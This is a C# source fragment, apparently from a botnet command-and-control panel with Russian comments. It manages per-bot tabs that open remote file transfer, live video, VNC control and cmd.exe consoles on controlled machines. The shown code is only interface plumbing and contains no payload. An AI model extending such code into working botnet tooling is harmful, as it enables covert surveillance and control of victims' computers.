private void tabsOpenBots_MouseDown(object sender, MouseEventArgs e) { if (tabsOpenBots.SelectedTab.Text.Length == 0) { return; } Rectangle textRect = tabsOpenBots.GetTabRect(tabsOpenBots.SelectedIndex); Bitmap bmp = global::CmdManager.Properties.Resources.close_16; Rectangle closeArea = new Rectangle(textRect.X + textRect.Width - bmp.Width, (textRect.Height - bmp.Height) / 2, bmp.Width, bmp.Height); if (closeArea.Contains(e.X, e.Y)) { BotPage page = GetBotPage(); if (page != null) { if (page.controls != null) { page.controls.Stop(); } tabsOpenBots.TabPages.Remove(tabsOpenBots.SelectedTab); botPages.Remove(page); if (tabsOpenBots.TabPages.Count == 0) //добавляем пустую вкладку для красоты { tabsOpenBots.TabPages.Add(string.Empty); } } } }
void AddFileTransfer() { BotPage botPage = GetBotPage(); ControlFileTransfer ft = new ControlFileTransfer(botPage.bot); AddControlPage(botPage, ft, "File Transfer"); }
void AddOnlineVideo() { BotPage botPage = GetBotPage(); ControlVideo cv = new ControlVideo(botPage.bot); AddControlPage(botPage, cv, "Видео"); }
BotPage GetBotPage() { if (currBot == null) { return(null); } BotPage ret = botPages.Find(b => b.bot == currBot); if (ret == null) { ret = new BotPage(); ret.bot = currBot; if (tabsOpenBots.TabPages.Count == 1 && botPages.Count == 0) //вставляем 1-ю вкладку (одна пустая вкладка уже есть, для красоты) { ret.page = tabsOpenBots.TabPages[0]; } else { ret.page = new TabPage(); tabsOpenBots.TabPages.Add(ret.page); } botPages.Add(ret); ret.page.Text = currBot.uid; } return(ret); }
void AddControlPage(BotPage botPage, IControlPage control, string name) { if (botPage.controls == null) { botPage.controls = new ControlBotPages(); botPage.controls.Dock = DockStyle.Fill; botPage.page.Controls.Add(botPage.controls); botPage.controls.Start(); } botPage.controls.AddPage(control, name); tabsOpenBots.SelectedTab = botPage.page; }
public void Init(Server.IdUid currBot, int style) { BotPage ret = botPages.Find(b => b.bot == currBot); if (ret == null) { ret = new BotPage(); ret.bot = currBot; if (GetTabs().TabPages.Count == 1 && botPages.Count == 0) //вставляем 1-ю вкладку (одна пустая вкладка уже есть, для красоты) { ret.page = GetTabs().TabPages[0]; } else { ret.page = new TabPage(); GetTabs().TabPages.Add(ret.page); } botPages.Add(ret); ret.page.Text = currBot.uid; } if (style == 0) { ControlVideo cv = new ControlVideo(ret.bot); if (ret.controls == null) { ret.controls = new ControlBotPages(); ret.controls.Dock = DockStyle.Fill; ret.page.Controls.Add(ret.controls); ret.controls.Start(); } ret.controls.AddPage(cv, "Видео"); } if (style == 1) { RemoteControl rc = new RemoteControl(); rc.host = currBot.server.IP; // "127.0.0.1";//currBot.ip; string [] ports; ports = currBot.ports.Split(' '); rc.port = Convert.ToInt32(ports[0]); if (ret.controls == null) { ret.controls = new ControlBotPages(); ret.controls.Dock = DockStyle.Fill; ret.page.Controls.Add(ret.controls); ret.controls.Start(); } ret.controls.AddPage(rc, "VNC"); } GetTabs().SelectedTab = ret.page; }
void AddCmdExe(bool user) { BotPage botPage = GetBotPage(); ControlCmd cmd = new ControlCmd(botPage.bot, user); if (user) { AddControlPage(botPage, cmd, "cmd.exe"); } else { AddControlPage(botPage, cmd, "cmd.exe user"); } }